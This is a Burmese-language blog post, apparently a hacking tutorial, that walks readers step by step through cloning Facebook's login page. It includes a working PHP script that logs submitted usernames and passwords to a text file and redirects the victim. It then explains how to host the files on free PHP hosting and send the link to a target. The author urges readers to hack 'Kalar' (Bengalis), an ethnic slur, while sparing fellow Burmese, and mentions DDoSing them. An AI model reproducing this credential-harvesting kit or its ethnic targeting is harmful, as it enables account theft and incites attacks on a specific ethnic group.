Facebook Phishing - ( Facebook အေကာင့္ဟက္နည္း )

ဖုန္းလိုင္းဖက္ကို မေရာက္ျဖစ္ေသးတဲ့အတြက္စိတ္မရွိၾကပါနဲ ့ခင္ညာ
ေလာေလာဆယ္ ေလ့လာမိတာေတြက ဒီအေၾကာင္းေတြပဲျဖစ္ေနလို ့ပါ ဟီးး
(တင္ေပးမယ္ေျပာထားပီး ကတိပ်က္ကာ မတင္ျဖစ္ခဲ့လို ့အရင္ဆံုးေတာင္းပန္ပါတယ္ခင္ည)

Phishing ဆိုတာ ဘာလဲလို ့သိခ်င္ရင္ အေပၚပံုကိုမၾကည့္ပါနဲ ့(ေတာင္းခ်ား မင္းေျပာမွလား..သူမ်ားမေျပာခင္ကိုယ္ၾကိဳေျပာထားတာ :-p )

အခုေျပာမွာက Facebook Webpage အတုဖန္တီးတဲ့နည္းျဖစ္ပါတယ္။
တစ္စုံတစ္ဦးကိုနစ္နာလိုေသာရည္

ရြယ္ခ်က္မရိွပါ။ နည္းပညာကိုပိုစိတ္၀င္စားလာေစရန္အတြက္ ႏွင့္ ကာကြယ္တတ္ရန္အတြက္သာျဖစ္ပါသည္။
Phishing ဆိုတာဘာလည္း ...?
Web site အတုေတြကိုဖန္တီးတာေပါ့။ Identify theft ဆိုရင္လည္းမမွားပါဘူး
Web site အတုဆိုတာ နာမည္ႀကီးတဲ့ website
ေတြကိုသူ႕ပုံစံအတိုင္းဖန္တီးထားတာဘဲျဖစ္ပါတယ္။

ဘာလို႕ဖန္တီးတာလည္း ?
ဥပမာေျပာရရင္ gmail ပုံစံ site တစ္ခုဖန္တီးလိုက္မယ္ဆိုပါစို႕…
အဲဒီ web site အတုနဲ႕သြား၀င္မိရင္ ကိုယ့္ gmail user name နဲ႕ password
ေတြပါသြားၿပီေပါ့

က်ေနာ္ က ပညာရွင္မဟုတ္ပါဘူး။ေလ့လာဆဲ ဘာမွမသိေသးတဲ့ေကာင္ပါ။အခုတင္ေပးတာကလည္း ကုလားေတြကို DDOS ေကၽြးရတာ အားမရေသးလို ့ရယ္ ျပီးေတာ့

ကိုယ္တိုင္ Hacking လုပ္ခ်င္တဲ့ သူငယ္ခ်ငး္ေတြအတြက္ပါ။ၾကိဳေတာင္းပန္ခ်င္တာကေတာ့ ျမန္မာအခ်င္းခ်င္း ျပန္မဟတ္ဖို႕ရယ္ ကုလားဆိုရင္ ဟက္သာဟက္လို ့အားေပးဖို ့အတြက္ပါခင္ည

ကဲ .. စလုပ္ၾကည့္ရေအာင္ ...

( ၁ )
၁ ။ www.facebook.com ကိုသြားပါ။
၂ ။ Mouse( ၾကြက္မဟုတ္) ရဲ့ Right Click ႏွိပ္ျပီး View page source ကိုဝင္ပါ။
၃ ။ View page source ထဲမွာရွိတဲ့စာေတြအကုန္လံုးကို Copy ကူးပါ။ ( Ctrl + A , Ctrl + C )
၄ ။ Run Box ကိုေခၚျပီး Notepad ကိုဖြင့္ပါ။( Window key နဲ႕ R Key ကို တြဲႏွိပ္ျပီး Run Box မွာ Notepad လို႕ရိုက္ဖြင့္ပါ)
၅ ။ View page source မွာ Copy ကူးခဲ့တဲ့စာေတြကို Notepad ထဲမွာ Paste လုပ္လုိက္ပါ။ ( Crtl + V )
၆ ။ Action ကိုရွာပါ။ ( Ctrl + F ကိုႏွိပ္ျပီး Box ေလးထဲမွာ action ကို ရိုက္ထည့္ျပီး ရွာပါ )
၇ ။ Action အေနာက္မွာရွိတဲ့ စာေတြကို ဖ်က္ပါ။ ( History"],["LoginFormController","init",["m049703_2","m049703_3"], [{"__m":"m049703_2"},{"__m":"m049703_3"}]],["TinyViewport"],["WebStorageMonster )
၈ ။ ျပီးရင္ index.html နဲ႕ Save ပါ။Save as type မွာ All file ကို ေရြးေပးရပါမည္။

( ၂ )
၁ ။ Run Box ေခၚျပီး Notepad အသစ္တစ္ခု ထပ္ဖြင့္ပါ။
၂ ။ က်ေနာ္ ေအာက္တြင္ေပးထားေသာ စာမ်ားကို Copy ကူ;ယူျပီး ေစာေစာက သင္ဖြင့္ထားေသာ Notepad ထဲတြင္ Paste လုပ္ပါ။

<?php
header("Location: http://www.Facebook.com/login.php ");
$handle = fopen("pswrds.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

၃ ။ hack.php ျဖင့္ Save လုပ္ပါ။ Save as type မွာ All file ကိုဘဲ ေရႊးေပးပါ။
 

၁ ။ ေနာက္ထပ္ Notepad အသစ္တစ္ခုဖြင့္ျပီး ဘာမွမပါဘဲ pswrd ျဖင့္ Save ပါ။ Save as type မွာ txt ပါ။

အဲ့ဒီအဆင့္ သံုး ဆင့္ ျပီးသြားျပီဆိုရင္ သင့္ကြန္ပ်ဴတာ Desktop ေပၚတြင့္ ဖိုင္ ၃ ခု ရရွိလာပါလိမ့္မယ္။
အဲ့လိုရလာျပီဆိုရင္ က်ေနာ္တို႕ ဒီအပိုင္းကို ခဏ ရပ္ထားလိုက္ရေအာင္ ။ ေနာက္ထပ္အပိုင္းတစ္ခုျဖစ္တဲ့ Domain ရယူျခင္း ကို သြားၾကရေအာင္။
၁ ။ www.google.com မွာ free php hosting web sites လို႕ ရိုက္ျပီး သင္ႏွစ္သက္ရာ ဆိုဒ္တစ္ခုမွာ Sign up လုပ္ပါ။
က်ေနာ္ က ေတာ့ http://www.my3gb.com/ ကို ေရြးပါတယ္။
 (sign up လုပ္နည္းကို video တြင္ၾကည့္ရန္)

 ၂ ။ Sign up လုပ္ျပီးလွ်င္

သင့္အီးေမးလ္ထဲသို႕ ေမးလ္တစ္ေစာင္ဝင္လာပါလိမ့္မယ္။နည္းနည္းၾကာတယ္။ေစာင့္ပါ။ေမးလ္ေရာက္လာျပီဆိုရင္ သူေပးထားေသာလင့္ကို ေကာ္ပီ ကူး address bar မွာ paste လုပ္ျပီး သြားလိုက္ပါ။အဲ့ဒါဆိုရင္ သင့္အေကာင့္ Confirn ျဖစ္သြားပါျပီ။
အဲ့လို ရရွိလာျပီဆိုရင္ ဒါေလးက ေနာက္ဆံုးအဆင့္ျဖစ္ပါတယ္။ သင္ဖြင့္ထားေသာဆိုဒ္မွာ sign in ဝင္ျပီး Go to Cpanel ထဲကိုဝင္ပါ။
ထိုေနာက္ File manager ထဲကိုဝင္ပါ။ Public_html ဆိုတဲ့ဖိုင္ထဲမွာ php ဆိုတဲ့ဖိုင္ကို ဖ်က္ျပီး ေစာေစာက သင္ျပဳလုပ္ထားေသာ ဖိုင္ သံုးခု ကို Upload တင္ပါ။

အဲ့ဒါဆိုရင္ Phishing ျပဳလုပ္ျခင္း ျပီးဆံုးသြားပါျပီ။သင္ Hack လိုေသာ user အား သင့္ျပဳလုပ္ထားေသာ Fake facebook login page ရဲ့ url ကို ေပးပို႕လိုက္ပါ။သူက Sign in လုပ္လိုက္တယ္ဆိုရင္ေတာ့ သင္ေစာေစာက ဘာစာမွမေရးဘဲ save လုပ္ထားတဲ့ pswrd.txt ဆိုတဲ့ဖိုင္ထဲကို User name နဲ႕ Password ေရာက္ရွိလာပါလိမ့္မယ္။
(သူ Sign in လုပ္ေအာင္ေတာ့ ၾကိဳးစားျပီးေျပာေပါ့။ဘာလို႕လဲဆိုေတာ့ Phishing ရဲ့ အားနည္ခ်က္က Link ျဖစ္ေနလို႕ပါ။

Link ကို ဂရုတစိုက္ၾကည့္တက္တဲ့ User ဆိုရင္ေတာ့ ဒီနည္းနဲ႕ သင္ Hacking လုပ္လို႕မရႏိုင္ပါဘူး။)
 

ကဲ ... သူငယ္ခ်င္းအားလံုး ေပ်ာ္ရႊင္စြာ ကုလားေတြကို Hacking လုပ္ႏိုင္ၾကပါေစဗ်ာ ။ဘဂၤါလီးေတြကိုမဟက္ဘဲ ျမန္မာအခ်င္းခ်င္း ျပန္ဟတ္ရင္ေတာ့ ေတဖို ့သာျပင္ ... 

 ၾကိဳးစားလ်က္-